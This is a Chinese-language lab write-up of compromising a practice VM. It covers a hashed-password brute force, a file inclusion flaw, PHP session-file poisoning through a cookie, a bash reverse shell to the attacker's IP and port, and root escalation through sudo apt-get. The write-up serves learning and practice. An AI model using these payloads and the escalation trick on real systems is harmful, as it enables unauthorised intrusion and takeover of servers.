前言
这个主机还是比较简单的,又学到了一种文件包含漏洞的利用姿势。
信息收集
首先扫描主机ip:
1  | kali@kali:~$ nmap -sP 192.168.247.1/24  | 
发现目标主机ip为1921.168.247.226,接着扫描开启的服务:
1  | kali@kali:~$ nmap -p1-65535 -A 192.168.247.226  | 
nmap扫描只在目标主机发现了http服务。
登录密码爆破
访问目标站点,发现需要先登录:

随便尝试下密码,抓个包,发现提示我们:
1  | Password or password hash is not correct, make sure to hash it before submit.  | 

原来我们需要先给密码进行sha256加密再提交啊。而且之前在测试登录密码的时候,还尝试了sql注入,结果发现提示:
1  | Username is not correct.  | 

这说明用户名admin是正确的,然后拿到burpsuite中去fuzz,直接fuzz密码就行。因为之前已经提示需要给密码sha256加密了,所以在burp中需要设置一下。将Payload Sets设置为Runtime file,并对每个密码进行sha256加密:

但是跑完之后发现什么都没跑出来,换了大一点的字典还是一样的结果,郁闷。看了别人的wp,发现sha256值竟然是大写的,而burpsuite默认的sha256加密之后结果是小写的。那就先将字典处理一下好了:
1  | import hashlib  | 
然后用新的字典重新fuzz,发现了密码,此时没了登录错误的提示:

得到登录的账号密码:
1  | username=admin&password=8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918  | 
漏洞挖掘
登录之后发现有一个搜索框,还有一个Cookie条款:

先看一下这个搜索框,随便输入12,返回:

如果查看一些敏感文件呢?比如/etc/passwd,竟然真的返回了内容:
说明此处存在一个文件包含漏洞。
漏洞利用
session文件利用
因为靶机上是apache服务器,先尝试包含apache常见的日志文件:
1  | /var/log/apache/access.log  | 
但是都没有回显。在cookie.php页面中说网站使用了cookie和session来维持用户和服务器会话的状态:

session文件的默认保存位置由php.ini文件中的session.save_path来决定,在linux中一般为:
1  | /tmp  | 
session文件的文件名开头为sess_。
F12查看cookie值为k8loege82kes1tn96762sqk2m1,所以对应的session文件就是/var/lib/php/sessions/sess_k8loege82kes1tn96762sqk2m1,尝试包含该文件:

1  | loggedin|b:1;name|s:5:"admin";id|i:1;user_pref|s:1:"/";  | 
其中user_pref是另一个cookie值,传入时是需要url编码的。那可以用user_pref写入一些php代码:
1  | <?php phpinfo();?>  | 

包含该文件,已经执行了phpinfo();,可能看的不是很清楚:

反弹shell
那么接下来就可以进行反弹shell
1  | <?php system ("bash -c 'bash -i >& /dev/tcp/192.168.247.210/23333 0>&1'");?>  | 

成功连接目标主机。
提权
根据内核版本提权
首先查看目标主机的内核版本以及操作系统:
1  | www-data@ubuntu:/var/www/html$ uname -r  | 
这个内核版本和DC-3靶场是一样的啊,都是ubuntu 4.4.21。打开metasploit,搜索可用的本地提权漏洞:

根据39772.txt中的poc,首先要下载提供的exp:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip (得挂个代理才行)。
下载后解压zip包发现有两个tar包,分别是crasher.tar和exploit.tar,这里用的是exploit.tar包中的exp,解压后有4个文件:
1  | compile.sh  | 
同样将这4个文件上传到目标主机上,先赋予compile.sh文件执行权限,然后执行:
1  | chmod -R 777 compile.sh  | 
但是在执行compile.sh时出错了:

因为对二进制不了解,我也没办法修改exp,只能另辟蹊径。
sudo命令提权
sudo -l查看有什么命令是当前用户能sudo执行的:

发现了/usr/bin/apt-get命令,在网上看到了一篇利用apt-get提权的文章:  https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/  :

1  | sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash  | 

提权成功。
总结
这次的漏洞又是一个文件包含漏洞,之前的利用点是apache或是nginx的日志文件,这次是因为站点启用了cookie和session,所以这里是利用了session文件代码执行来进行反弹shell,其实这个知识点在之前的就已经学过了CVE-2018-12613 phpMyAdmin 4.8.1 文件包含漏洞 & HCTF2018 WarmUp,但是要想起来利用还是有点难度的。